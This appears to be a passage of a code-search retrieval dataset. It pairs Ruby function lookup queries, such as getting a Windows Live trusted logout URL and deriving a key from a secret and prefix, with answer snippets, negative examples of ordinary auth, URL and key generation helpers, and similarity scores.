"def saml_provider_issuer_url\n @attributes[:saml_provider_issuer_url]\n end",
"def minecraft_link_host\n \"#{verification_token}.verify.minefold.com\"\n end",
"def openid_callback_url\n \"#{request.protocol}://#{request.host}#{Merb::Router.url(:openid)}\"\n end",
"def get_profile_url_linkedin\n profile_url = self[:info][:urls][:public_profile] if self[:info] and self[:info][:urls]\n profile_url.gsub!(/^http:/, 'https:') if profile_url # protect cookies\n profile_url\n end",
"def login_url\n DOMAINS[username_domain] || DOMAINS['hotmail.com']\n end",
"def uri_with_authentication_and_login\n\t\tURI.parse( uri_with_authentication.to_s + \"&login=true\" )\n\tend",
"def gardener_url\n (ENV['SUT_SCHEME'] || 'https') + \"://\" + gardener_fqhn()\n end",
"def oauth_redirect_uri\n uri = URI.parse(request.url)\n uri.path = '/sk_auth/callback'\n uri.query = nil\n uri.to_s\n end",
"def authorize_url(params=nil)\n connection.build_url(options[:authorize_url], params).to_s\n end",
"def kisalli_url\n return KISALLI_URL\n end",
"def url\n 'https://' + request.host\n end",
"def url\n unless @url\n conf = Grape::Jwt::Authentication.configuration\n return conf.rsa_public_key_url\n end\n @url\n end",
"def login_url(params,session)\n self.authorize_url\n end",
"def streaming_endpoint\n encoded_url = URI.encode(\"#{SITE_URL}#{STREAM_URL}\".strip)\n URI.parse(encoded_url)\n end",
"def facebook_auth_uri\n return '' unless E9::Config.instance.facebook_auth_ready?\n\n facebook_client.auth_code.authorize_url({\n :redirect_uri => facebook_redirect_uri,\n :scope => 'publish_stream,manage_pages,offline_access'\n })\n end",
"def login_url(params, session)\n self.authorize_url({ authorize_url: auth_path })\n end",
"def url\n File.join(DigitalRiver.config.oauth_url)\n end",
"def authorize_uri\n if preferred_test_mode\n 'https://ecommerce.userede.com.br/pos_virtual/wskomerci/cap_teste.asmx/GetAuthorizedTst'\n else\n 'https://ecommerce.redecard.com.br/pos_virtual/wskomerci/cap.asmx/GetAuthorized'\n end\n end",
"def url\n File.join(DigitalRiver.config.oauth_url)\n end",
"def url_to_social_login( provider_key, on_success = nil )\n provider = Aerogel::Auth.providers[provider_key] || {}\n origin = on_success || params['on_success']\n query_string = origin ? \"?origin=#{origin}\" : ''\n \"/auth/#{provider_key}#{query_string}\"\nend",
"def guest_url\n if guest_access_enabled?\n \"http://#{@campfire.subdomain}.campfirenow.com/#{guest_invite_code}\"\n else\n nil\n end\n end",
"def signing_keys_url\n return openid_config['jwks_uri'] if openid_config.include? 'jwks_uri'\n fail StandardError, 'No jwks_uri in OpenId config response.'\n end",
"def get_user_auth_url\n @oauth_token = request_oauth_token\n return @authorize_url + \"?oauth_token=\" + @oauth_token[\"oauth_token\"]\n rescue\n puts $! if @@verbose\n return nil\n end",
"def wepay_authorization_url(redirect_uri)\n\t WEPAY.oauth2_authorize_url(redirect_uri, self.email, self.name)\n\tend",
"def get_user_uri\n \"/#{URI.encode ZohoReports.configuration.login_email}\"\n end",
"def server_url\n return @custom_url if @custom_url\n if !@sauce_username.nil? && !@sauce_access_key.nil?\n \"http://#{@sauce_username}:#{@sauce_access_key}@ondemand.saucelabs.com:80/wd/hub\"\n else\n \"http://127.0.0.1:#{@port}/wd/hub\"\n end\n end",
"def after_successful_sign_in_url\n root_path\n end",
"def login_url options\n email = options.delete(:email) or raise ArgumentError.new(\"No :email passed for user\")\n user_identifier = options.delete(:user_identifier) or raise ArgumentError.new(\"No :user_identifier passed for user\")\n\n authenticated_parameters = build_authenticated_parameters(email, user_identifier, options)\n\n [checkdin_landing_url, authenticated_parameters.to_query].join\n end",
"def get_authorize_url(callback=nil)\n get_request_token()\n\n url = \"/#{Dropbox::API_VERSION}/oauth/authorize?oauth_token=#{URI.escape(@request_token.key)}\"\n if callback\n url += \"&oauth_callback=#{URI.escape(callback)}\"\n end\n if @locale\n url += \"&locale=#{URI.escape(@locale)}\"\n end\n\n \"https://#{Dropbox::WEB_SERVER}#{url}\"\n end",
"def new_netid\n if Rails.env.development? || Rails.env.test?\n redirect_to \"/auth/developer\"\n else\n target = \"https://#{current_institution.fqdn}/auth/shibboleth/callback\"\n redirect_to \"/Shibboleth.sso/Login?target=#{target}\"\n end\n end",
"def signin_url\n {:controller => 'auth', :action => 'signin'}\n end",
"def kiosk_mode_app_store_url\n return @kiosk_mode_app_store_url\n end",
"def redirect_uri\n\t\t@client.authorization.authorization_uri.to_s\n\tend",
"def login_web_url=(value)\n @login_web_url = value\n end",
"def callback_url\n options[:redirect_uri] || (full_host + script_name + callback_path)\n end",
"def callback_url\n options[:redirect_uri] || (full_host + script_name + callback_path)\n end",
"def login_url(prt, opts = {})\n plid = login_request(prt, :requested => opts.delete(:requested), :seed => opts.delete(:seed)).plid\n login_url_from_plid( plid, opts.delete(:demo) )\n end",
"def sign_in_url(ruparams = {})\n url = []\n url << EbayTrader.configuration.production? ? 'https://signin.ebay.com' : 'https://signin.sandbox.ebay.com'\n url << '/ws/eBayISAPI.dll?SignIn'\n url << \"&runame=#{url_encode ru_name}\"\n url << \"&SessID=#{url_encode id}\"\n if ruparams && ruparams.is_a?(Hash) && !ruparams.empty?\n params = []\n ruparams.each_pair { |key, value| params << \"#{key}=#{value}\" }\n url << \"&ruparams=#{url_encode(params.join('&'))}\"\n end\n url.join\n end",
"def activation_url\n return @activation_url\n end",
"def main_url\n if is_main?\n \"#{::AppConfig.main_protocol}#{self.subdomain}.#{::AppConfig.main_domain}\"\n else\n \"#{::AppConfig.main_protocol}#{self.main_company.subdomain}.#{::AppConfig.main_domain}\"\n end\n end",
"def identity_url(hsh)\n if APP_CONFIG[:restricted_names].include?(hsh[:username].split('.').last)\n hsh[:username]\n else\n \"#{hsh[:username]}.#{AppConfig.host(request.host)}\"\n end\n end",
"def proxy_validate_url\n URI.join(cas_url, 'proxyValidate').to_s\n end",
"def proxy_validate_url\n URI.join(cas_url, 'proxyValidate').to_s\n end",
"def authorize_url(ticket = nil)\n ticket = self.ticket unless ticket\n \"#{ api.base_url }/auth/#{ ticket }\"\n end",
"def use_ssl?\n true # user_signed_in? (but would need to ensure Devise runs under ssl)\n end",
"def full_url\n char = (api_env('URL') =~ /\\?/).nil? ? '?' : '&'\n api_env('URL') + \"#{char}#{api_env('PARAM')}=#{login}\"\n end",
"def callback_url\n auth_endpoint_callback_url(org: @organization.id)\n end",
"def sslhost\n if ENV['RAILS_ENV'] == 'production'\n \"https://m41.herokuapp.com\"\n else\n \"\"\n end\n end"
] |
[
"0.6110511",
"0.60972184",
"0.60664225",
"0.6062476",
"0.6018684",
"0.5890429",
"0.5876816",
"0.5866468",
"0.586374",
"0.5830568",
"0.5816381",
"0.5771454",
"0.5747807",
"0.57270265",
"0.56978095",
"0.5675226",
"0.5674305",
"0.5594671",
"0.5590295",
"0.55298615",
"0.5516508",
"0.55136627",
"0.55115896",
"0.5489009",
"0.5481393",
"0.5475655",
"0.5455302",
"0.5446533",
"0.54462343",
"0.54230964",
"0.5411548",
"0.54077756",
"0.54073364",
"0.5388257",
"0.53554565",
"0.53469",
"0.53449184",
"0.53350747",
"0.53219503",
"0.5312698",
"0.5300827",
"0.5300447",
"0.5298696",
"0.5293001",
"0.5291307",
"0.52901226",
"0.5283092",
"0.52362233",
"0.52210736",
"0.52210736",
"0.5218963",
"0.52076954",
"0.5205286",
"0.5163973",
"0.5161325",
"0.51565045",
"0.51560897",
"0.51527756",
"0.5147166",
"0.5139069",
"0.51367414",
"0.5122357",
"0.51207197",
"0.5108302",
"0.5107448",
"0.5090128",
"0.5085986",
"0.5076593",
"0.50728077",
"0.50722206",
"0.5066549",
"0.50461084",
"0.5041263",
"0.5033621",
"0.5027556",
"0.5026033",
"0.5023939",
"0.5022169",
"0.50205266",
"0.5019419",
"0.50154066",
"0.50102156",
"0.50070614",
"0.4997109",
"0.49949554",
"0.49896592",
"0.49894935",
"0.49894935",
"0.49841526",
"0.49818566",
"0.49748552",
"0.4973007",
"0.497256",
"0.49657023",
"0.49657023",
"0.49647763",
"0.49530822",
"0.4951886",
"0.49515322",
"0.49490443"
] |
0.75443554
|
0
|
Returns the trusted signout URL to use for Windows Live Login.
|
def getTrustedLogoutUrl
secureurl + "logout.srf?appid=#{appid}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def getTrustedLoginUrl\n secureurl + \"wlogin.srf\"\n end",
"def auth0_logout_url\n # auth0_client.logout_url(root_url.to_s, include_client: true).to_s\n auth0_client.logout_url(root_url.to_s).to_s\n end",
"def logout_url\n return @logout_url\n end",
"def default_redirect_url_after_sign_out\n QAuthRubyClient.configuration.default_redirect_url_after_sign_out\n end",
"def get_logout_url(redirect_url)\n logout_url = \"https://login.microsoftonline.com/common/oauth2/logout?\"\n logout_url << { post_logout_redirect_uri: redirect_url }.to_param\n end",
"def getLogoutUrl\n baseurl + \"logout.srf?appid=#{appid}\"\n end",
"def ssoe_slo_url\n Settings.saml_ssoe.logout_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n login_url(:protocol => 'http')\n end",
"def after_sign_out_path_for(resource_or_scope)\n # 'http://www.google.com'\n ENV[\"APPLICATION_URL\"]\n end",
"def logout_url(params={})\n auth_pds_url \"logout\",\n user_session_redirect_url(redirect_logout_url), params\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url(:protocol => 'http')\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url(:protocol => 'http')\n end",
"def auth0_logout_url\n auth0_api = Auth0Client.new(auth0_credentials)\n auth0_api.logout_url(root_url)\n end",
"def after_sign_out_path_for(resource_or_scope)\n \"http://mybyteapp.com/\"\n end",
"def after_sign_out_path_for(resource_or_scope)\n \"https://diem25.org\"\n end",
"def after_sign_out_path_for(_)\n root_url\n end",
"def redirect_url(callback_url)\n signin_url(callback_url)\n end",
"def after_sign_out_path_for(_resource)\n root_url\n end",
"def post_sign_out_url=(url)\n @post_sign_out_url = url\n end",
"def signout_url\n {:controller => 'auth', :action => 'signout'}\n end",
"def after_sign_out_path_for(resource_or_scope)\n 'https://www.recharles.xyz/'\n end",
"def after_sign_out_path_for(resource_or_scope)\n #raise resource_or_scope.inspect\n root_url(:protocol => 'http')\n end",
"def login_web_url\n return @login_web_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n login_url\n end",
"def connectURL\n\t\t\"http://beta.stoffiplayer.com/auth/#{provider}\"\n\tend",
"def sso_integration_callback_url\n # Usually http://example.com/auth/:system_name/callback\n url = callback_url(query: {})\n\n case kind\n when 'auth0'\n # e.g. http://example.com/auth/invitations/auth0/auth0_123abc/callback\n invitation_signup = client.callback_url(\"#{base_url}/invitations\")\n\n [url, invitation_signup].join(', ')\n else\n url\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n Rails.configuration.devise[:sign_out_redirect_url]\n end",
"def after_sign_out_path_for(resource_or_scope)\n if Rails.env.production?\n request.env['omniauth.origin'] || stored_location_for(resource_or_scope) || KISALLI_URL\n else\n request.env['omniauth.origin'] || stored_location_for(resource_or_scope) || root_path\n end\n end",
"def after_sign_out_path_for resource_or_scope\n redirect_uri = params[:redirect_uri]\n redirect_uri ? redirect_uri : super\n end",
"def get_auth_url(use_callback_flow=true)\n raise 'To be implemented in child classes'\n end",
"def getLoginUrl(context=nil)\n url = baseurl + \"wlogin.srf?appid=#{appid}\"\n url += \"&alg=#{securityalgorithm}\"\n url += \"&appctx=#{CGI.escape(context)}\" if context\n url\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url(subdomain: nil)\n end",
"def auth_url\n client.authorization.authorization_uri(state: '', approval_prompt: :force, access_type: :offline, user_id: client_email).to_s\n end",
"def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => 'https://login.microsoftonline.com',\n :authorize_url => '/common/oauth2/v2.0/authorize',\n :token_url => '/common/oauth2/v2.0/token')\n\n client.auth_code.authorize_url(:redirect_uri => REDIRECT_URI,\n :scope => SCOPES.join(' '))\n end",
"def logout_url=(value)\n @logout_url = value\n end",
"def get_auth_url\n\t\tURI::HTTPS.build(\n\t\t\t:host => @options['auth_host'],\n\t\t\t:path => @options['auth_page'],\n\t\t\t:query => {\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t:response_type => \"code\",\n\t\t\t}.to_query\n\t\t).to_s\n\tend",
"def after_sign_out_path_for(resource_or_scope)\n #remember to use url for changing subdomain\n new_user_session_url(subdomain: nil)\n end",
"def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => 'https://login.microsoftonline.com',\n :authorize_url => '/common/oauth2/v2.0/authorize',\n :token_url => '/common/oauth2/v2.0/token')\n\n login_url = client.auth_code.authorize_url(:redirect_uri => authorize_url, :scope => SCOPES.join(' '))\n end",
"def omniauth_login_url(provider)\n \"#{Rails.configuration.relative_url_root}/auth/#{provider}\"\n end",
"def logout_url(redirect_url)\n \"#{self.class.base_uri}/auth/logout?redirectUri=#{redirect_url}\"\n end",
"def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => \"https://login.microsoftonline.com\",\n :authorize_url => \"/common/oauth2/authorize\",\n :token_url => \"/common/oauth2/token\")\n\n login_url = client.auth_code.authorize_url(:redirect_uri => authorize_url)\n end",
"def default_sign_in_url\n sign_in_url\n end",
"def authorize_url\n client.web_server.authorize_url( :redirect_uri => callback_url )\n end",
"def oauth_redirect_uri\n uri = URI.parse(request.url)\n uri.path = '/sk_auth/callback'\n uri.query = nil\n uri.to_s\n end",
"def after_sign_out_path_for(_resource_or_scope)\n params[:return_url] || root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n if request.params[:type] == \"sso\"\n Rails.configuration.devise[:sign_out_redirect_url]\n else\n super\n end\n end",
"def logout_url(destination_url = nil, follow_url = nil)\n url = @logout_url || (cas_base_url + \"/logout\")\n \n if destination_url\n # if present, remove the 'ticket' parameter from the destination_url\n duri = URI.parse(destination_url)\n h = duri.query ? query_to_hash(duri.query) : {}\n h.delete('ticket')\n duri.query = hash_to_query(h)\n destination_url = duri.to_s.gsub(/\\?$/, '')\n end\n \n if destination_url || follow_url\n uri = URI.parse(url)\n h = uri.query ? query_to_hash(uri.query) : {}\n h['destination'] = destination_url if destination_url\n h['url'] = follow_url if follow_url\n uri.query = hash_to_query(h)\n uri.to_s\n else\n url\n end\n end",
"def after_sign_out_path_for(_)\n if session['saml_uid'] && session['saml_session_index'] && SAML_SETTINGS.idp_slo_service_url\n user_saml_omniauth_authorize_path(locale: nil) + '/spslo'\n else\n super\n end\n end",
"def sso_url(params={})\n auth_pds_login_url \"sso\", params\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/signed_out'\n end",
"def default_sign_in_url\n user_sign_in_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n cookies.delete :pa_auth_token\n \n \"#{Civiccommons::PeopleAggregator.URL}/logout.php?redirect=http://#{request.host}#{request.port == \"80\" ? nil : \":#{request.port}\"}\"\n end",
"def login_url\n generate_login_token unless login_token.present?\n ENV['RESERVE_URL'] + '/sign-in/' + login_token\n end",
"def after_sign_out_path_for(resource)\n '/users/auth/google_oauth2'\n end",
"def unsubscribe_url\n nil\n end",
"def facebook_authenticate_url\n facebook_client.web_server.authorize_url(:redirect_uri => Settings.authentication.facebook.callback_url,\n :scope => Settings.authentication.facebook.scope)\n end",
"def after_sign_out_path_for(resource_or_scope)\n url = params[:continue]\n if !url.blank? &&\n valid_url?(url) &&\n @logged_out_user &&\n member_subdomain?(\n Doorkeeper::Application.authorized_for(@logged_out_user).map(&:url).compact,\n url)\n return url\n end\n super(resource_or_scope)\n end",
"def after_sign_out_path_for(resource_or_scope)\n \"/app/users/sign_in\"\n end",
"def signed_open_id_connect_initiation_url(login_hint:)\n URI(open_id_connect_initiation_url).tap do |uri|\n uri.query = {\n iss: Rails.application.secrets.issuer,\n login_hint: login_hint,\n target_link_uri: target_link_uri\n # lti_message_hint: 'xxx'\n }.to_query\n end\n end",
"def redirect_uri\n @redirect_uri\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/users/sign_in'\n end",
"def callback_url\n auth_endpoint_callback_url(org: @organization.id)\n end",
"def wepay_authorization_url(redirect_uri)\n\t WEPAY.oauth2_authorize_url(redirect_uri, self.email, self.name)\n\tend",
"def get_authentication_url\n @wll.getConsentUrl(\"Contacts.Invite\")\n end",
"def after_sign_out_path_for(resource)\r\n app_root + \"/sessions/new\"\r\n end",
"def get_destroy_session_path\n if current_user\n return \"/users/sign_out\"\n elsif session[:user_id] and session[:user_type] == \"UserControl\"\n return \"/user_controls/sign_out\"\n end\n end",
"def after_sign_out_path_for(resource)\n session[:previous_url] || home_path\n end",
"def get_auth_url(use_callback_flow=true)\n if use_callback_flow\n service_name = service_name_for_user(DATASOURCE_NAME, @user)\n @client.authorization.state = CALLBACK_STATE_DATA_PLACEHOLDER.sub('user', @user.username)\n .sub('service', service_name)\n else\n @client.authorization.redirect_uri = REDIRECT_URI\n end\n @client.authorization.authorization_uri.to_s\n end",
"def after_sign_out_path_for(resource_or_scope)\n # caught by apache to trigger pubcookie logout\n '/logout'\n end",
"def person_omniauth_authorize_path_or_url(provider)\n SecureUrlHelper.https? ? person_omniauth_authorize_url(provider, :protocol => 'https') : person_omniauth_authorize_path(provider)\n end",
"def after_successful_sign_in_url\n root_path\n end",
"def getAuthUrl\n\t\t\t\tURI::HTTP.build(\n\t\t\t\t\t:host => @options['auth_host'],\n\t\t\t\t\t:path => @options['auth_page'],\n\t\t\t\t\t:query => {\n\t\t\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t\t\t:scope => @options['scope'],\n\t\t\t\t\t\t:response_type => \"code\",\n\t\t\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t\t}.to_query\n\t\t\t\t).to_s\n\t\t\tend",
"def account_url\n return new_user_session_url unless user_signed_in?\n return :user_dashboard_url\n end",
"def after_sign_out_path_for(_resource)\n I18n.locale == I18n.default_locale ? '/' : \"/#{I18n.locale}\"\n end",
"def after_sign_out_path_for(resource_or_scope)\n # path before sign out request\n \"#{URI(request.referer).path}?logged_out=1\"\n end",
"def auth_url\n \"#{@url}/auth/realms/#{@realm}/protocol/openid-connect/auth\"\n end",
"def authorize_endpoint_url\n uri = URI(openid_config['authorization_endpoint'])\n uri.query = URI.encode_www_form(client_id: client_id,\n redirect_uri: callback_url,\n response_mode: response_mode,\n response_type: response_type,\n nonce: new_nonce)\n uri.to_s\n end",
"def gardener_url\n (ENV['SUT_SCHEME'] || 'https') + \"://\" + gardener_fqhn()\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/members/sign_in'\n end",
"def after_sign_out_path_for(resource_or_scope)\n \"#{Rails.configuration.relative_url_root}/logout.html\"\n end",
"def auth_login_url(callback_url, session_id=false)\n url = \"#{self.service.configuration.auth_url}login?callback=#{callback_url}\"\n url = \"#{url}&session=#{session_id}\" if session_id != false\n url\n end",
"def after_sign_in_path_for(_resource)\n root_url\n end",
"def get_auth_url\n\t\tURI::HTTP.build(\n\t\t\t:host => @options['auth_host'],\n\t\t\t:path => @options['auth_page'],\n\t\t\t:query => {\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:scope => @options['scope'],\n\t\t\t\t:response_type => \"code\",\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t}.to_query\n\t\t).to_s\n\tend",
"def login_url(_params, _session)\n authorize_url\n end",
"def login_url(url)\n return \"https://www.dopplr.com/api/AuthSubRequest?scope=#{CGI.escape(\"http://www.dopplr.com/\")}&next=#{CGI.escape(url)}&session=1\"\n end",
"def sign_out_link\n $tracer.trace(__method__)\n return ToolTag.new(a.href(\"/LogOff/\"), __method__)\n end",
"def after_sign_out_path_for(_resource_or_scope)\n '/'\n end",
"def verify_signed_out_user\n end",
"def after_sign_in_path_for(resource)\n if Rails.env.production?\n request.env['omniauth.origin'] || stored_location_for(resource) || KISALLI_URL\n else\n request.env['omniauth.origin'] || stored_location_for(resource) || root_path\n end\n end",
"def callback_url\n if @authorization_code_from_signed_request_in_cookie\n ''\n else\n # Fixes regression in omniauth-oauth2 v1.4.0 by https://github.com/intridea/omniauth-oauth2/commit/85fdbe117c2a4400d001a6368cc359d88f40abc7\n options[:callback_url] || (full_host + script_name + callback_path)\n end\n end",
"def user_signin_signout_link\n if user_signed_in?\n link_to(\"[ Sign out ]\", destroy_user_session_path)\n else\n link_to(\"[ Sign in ]\", new_user_session_path)\n end\n end",
"def vend_url\n URI(\"https://#{config.vend_id}.vendhq.com/\")\n end",
"def after_sign_out_path_for(resource_or_scope); end",
"def verify_signed_out_user\n if all_signed_out?\n set_flash_message! :notice, :already_signed_out\n\n redirect_to (Devise.saml_sign_out_success_url.presence ||\n Devise::SessionsController.new.after_sign_out_path_for(resource_name)), allow_other_host: true\n end\n end",
"def authorize_uri\n if preferred_test_mode\n 'https://ecommerce.userede.com.br/pos_virtual/wskomerci/cap_teste.asmx/GetAuthorizedTst'\n else\n 'https://ecommerce.redecard.com.br/pos_virtual/wskomerci/cap.asmx/GetAuthorized'\n end\n end",
"def wepay_authorization_url(redirect_uri)\n\t #Wefarm::Application::WEPAY.oauth2_authorize_url(OAUTH_REDIRECT_URI + self.id.to_s, self.email, self.name)\n\t Wefarm::Application::WEPAY.oauth2_authorize_url(redirect_uri, self.email, self.name)\n\tend",
"def auth_url(connection = nil)\n state = \"?state=#{Service.encode_state(connection)}\"\n callback = URI.encode_www_form_component(config[:redirect_uri] + state)\n\n uri = URI.parse(base_auth_url)\n uri.query ||= \"\"\n uri.query << \"&#{self.class.callback_param_name}=#{callback}\"\n uri.to_s\n end"
] |
[
"0.65467715",
"0.6066032",
"0.60452795",
"0.602472",
"0.5952062",
"0.5891592",
"0.5863794",
"0.5802973",
"0.57728964",
"0.5756296",
"0.5729752",
"0.5729752",
"0.5684871",
"0.5657452",
"0.5641936",
"0.5622903",
"0.55558",
"0.5530776",
"0.55238944",
"0.55150867",
"0.54941493",
"0.5477856",
"0.5448222",
"0.5447239",
"0.5438433",
"0.53980684",
"0.5382092",
"0.5382092",
"0.5380916",
"0.537875",
"0.5371981",
"0.53508186",
"0.53471357",
"0.53455454",
"0.5329963",
"0.5306963",
"0.53013945",
"0.5300383",
"0.5272472",
"0.526599",
"0.5259616",
"0.52497613",
"0.52495456",
"0.5242974",
"0.5227039",
"0.5207834",
"0.51975584",
"0.51838917",
"0.51826197",
"0.51684994",
"0.5159879",
"0.51429343",
"0.5128118",
"0.5125207",
"0.5113648",
"0.5101648",
"0.507889",
"0.507783",
"0.50734353",
"0.5068959",
"0.50677174",
"0.5065868",
"0.5057495",
"0.5045531",
"0.50425905",
"0.50407064",
"0.50378025",
"0.50335765",
"0.503164",
"0.50312203",
"0.5020401",
"0.5011298",
"0.50032026",
"0.49922785",
"0.49715436",
"0.49491036",
"0.49453488",
"0.4945106",
"0.4937181",
"0.49288383",
"0.49172217",
"0.49132273",
"0.49097022",
"0.4904866",
"0.48920497",
"0.48913077",
"0.48813716",
"0.4872778",
"0.4869413",
"0.48691913",
"0.486825",
"0.4863941",
"0.4860849",
"0.48598757",
"0.48568",
"0.4843316",
"0.4842355",
"0.4840719",
"0.48367006",
"0.4835791"
] |
0.7174158
|
0
|
Derive the key, given the secret key and prefix as described in the SDK documentation.
|
def derive(secret, prefix)
begin
fatal("Nil/empty secret.") if (secret.nil? or secret.empty?)
key = prefix + secret
key = OpenSSL::Digest::SHA256.digest(key)
return key[0..15]
rescue Exception => e
debug("Error: derive: #{e}")
return
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def generate_secret_key\n r = Aws::Kms.new('saas', 'saas').decrypt(@client.api_salt)\n return r unless r.success?\n\n api_salt_d = r.data[:plaintext]\n\n client_api_secret_d = SecureRandom.hex\n\n r = LocalCipher.new(api_salt_d).encrypt(client_api_secret_d)\n return r unless r.success?\n\n {e_secret_key: r.data[:ciphertext_blob], d_secret_key: client_api_secret_d}\n end",
"def _calculate_derived_key(dk, password, salt, iterations, dklen, hlen)\n (dklen.to_f / hlen).ceil.times do |i|\n # the start of the block in the key we're computing\n offset = hlen * i\n\n # the value of the salt for this block includes the 1-based block number\n salt[salt.bytesize - 4, 4] = [ i + 1 ].pack('N')\n\n # the final value of this block of the key\n dk[offset, hlen] = _calculate_chained_hmac(password, salt, iterations)\n end\n end",
"def prefix_key(key)\n if self.instance_id\n [KEY_PREFIX, self.instance_id, key].join('/')\n else\n raise RuntimeError.new(\"Attempted to generate a key name without an instance id.\")\n end\n end",
"def derive_key(password, salt, rounds: 50000, prf: \"HMAC_SHA256\", tag: \"default_tag\")\n salt.is_a?(String) and salt = salt.force_encoding('binary')\n tag && tag.is_a?(String) and tag = tag.force_encoding('binary')\n ki = KeyInfo.new(prf, rounds, salt, tag)\n ki.derivePassword(password)\n end",
"def compute_key(pub_bn)\n peer = dup\n peer.set_key(pub_bn, nil)\n derive(peer)\n end",
"def compute_key(pub_bn)\n peer = dup\n peer.set_key(pub_bn, nil)\n derive(peer)\n end",
"def secret_key_base; end",
"def secret_key_base; end",
"def secret_key_base; end",
"def secret_key_base; end",
"def prefix_key(key)\n if self.instance_id\n [self.path, self.instance_id, key].join('/')\n else\n raise RuntimeError.new(\"Attempted to generate a key name without an instance id.\")\n end\n end",
"def derive_keys(key)\n derived_key_size = key.size / 2\n mac_key = key[0...derived_key_size]\n enc_key = key[derived_key_size..-1]\n return mac_key, enc_key\n end",
"def key\n ECDSA.build_key(public_key, private_key)\n end",
"def prepare_key prefix, key\n \"oaf_#{prefix}_#{key.gsub('-', '_').downcase}\"\n end",
"def secret_key_base=(_arg0); end",
"def secret_key_base=(_arg0); end",
"def pubkey\n # Split every 2 bytes\n paths = combined_hash.unpack('S>*')\n paths.inject(payment_base) { |key, p| key.derive(p) }\n end",
"def key(keygap)\n key = read['pem']\n raise \"There is no key for some reason for user @#{@login}\" if key.nil?\n key = Keygap.new.merge(key, keygap)\n @log.debug(\"The private key of @#{@login} reassembled: #{key.to_s.length} chars\")\n key\n end",
"def derive_key_from(password, length: key_length)\n ActiveSupport::KeyGenerator.new(password, hash_digest_class: hash_digest_class)\n .generate_key(key_derivation_salt, length)\n end",
"def generate_key\n self.key = SecureRandom.hex(KEY_LENGTH / 2)\n end",
"def get_key\n @key = Base64.decode64('MzRlZTc5ODMtNWVlNi00MTQ3LWFhODYtNDQzZWEwNjJhYmY3NzQ0OTNkNmEtMmExNS00M2ZlLWFhY2UtZTc4NTY2OTI3NTg1Cg==')\n end",
"def generate_key\n key = RbNaCl::Random.random_bytes(RbNaCl::SecretBox.key_bytes)\n Base64.strict_encode64 key\n end",
"def priv_key\n key = master_ext_key.derive(PURPOSE_TYPE, true).derive(Tapyrus.chain_params.bip44_coin_type, true)\n\n # Split every 2 bytes\n paths = combined_hash.unpack('S>*')\n paths.inject(key) { |key, p| key.derive(p) }\n end",
"def generate_access_key\n access_keys.generate_new\n end",
"def generate\n key = Bitcoin::Key.generate.priv\n @log.info(\"Bitcoin private key generated: #{key[0..8]}...\")\n key\n end",
"def generate\n key = Bitcoin::Key.generate.priv\n info(\"Bitcoin private key generated: #{key[0..8]}...\")\n key\n end",
"def secret_key\n encode_tz(:edsk, 32)\n end",
"def generate_secret_key_base\n webui_priv_pem_path = ENV['WEBUI_SRC_PATH']\n secret_key_base = nil\n begin\n webui_priv_key = File.read(webui_priv_pem_path)\n # Get first `WEBUI_KEY_SUBSTRING_LEN` characters\n webui_key_substring_for_encryption = webui_priv_key[0..(WEBUI_KEY_SUBSTRING_LEN-1)]\n secret_key_base = Base64.encode64(webui_key_substring_for_encryption)\n rescue StandardError => e\n puts \"Could not find the webui key in erchef service for generation of secret_key_base for OCID. OCID secret_key_base will assume the default value...\"\n return nil\n end\n secret_key_base = tidy_up_secret_key_base(secret_key_base)\n end",
"def generate_key; end",
"def generate_key!\n unless priv_key\n tmp = OpenSSL::PKey.generate_key(self)\n set_key(tmp.pub_key, tmp.priv_key)\n end\n self\n end",
"def fetch_new_key(app_context)\r\n kms_client = Aws::KMS::Client.new()\r\n genkey = kms_client.generate_data_key({\r\n key_id: \"putyourmasterkeyidhere\",\r\n key_spec: \"AES_256\",\r\n encryption_context: {\r\n \"Application\" => app_context,\r\n }\r\n })\r\n return genkey.ciphertext_blob, genkey.plaintext\r\nend",
"def get_key(address)\n privkey = get_private_key address\n key = Bitcoin::Key.from_base58(privkey)\n key\nend",
"def generate_api_key\n digest = Digest::SHA2.new(512)\n # generate a unique token\n unique_seed = SecureRandom.hex(20)\n digest.update(\"#{unique_seed} SECRET! #{Time.current.to_f}\").to_s\n end",
"def generate_api_key\n digest = Digest::SHA2.new(512)\n # generate a unique token\n unique_seed = SecureRandom.hex(20)\n digest.update(\"#{unique_seed} SECRET! #{Time.current.to_f}\").to_s\n end",
"def build_key(public_key, private_key)\n group = OpenSSL::PKey::EC::Group.new('prime256v1')\n key = OpenSSL::PKey::EC.new(group)\n\n public_bn = OpenSSL::BN.new(public_key, 16)\n private_bn = OpenSSL::BN.new(private_key, 16)\n public_key = OpenSSL::PKey::EC::Point.new(group, public_bn)\n\n key.tap do\n key.public_key = public_key\n key.private_key = private_bn\n end\n end",
"def full_key(namespace, key)\n \"#{namespace}:#{key}\"\n end",
"def generate_api_key\n SecureRandom.random_number(2 ** 256).to_s(36)\n end",
"def key_generator\n self.class.rails_key_generator(secret_key_base)\n end",
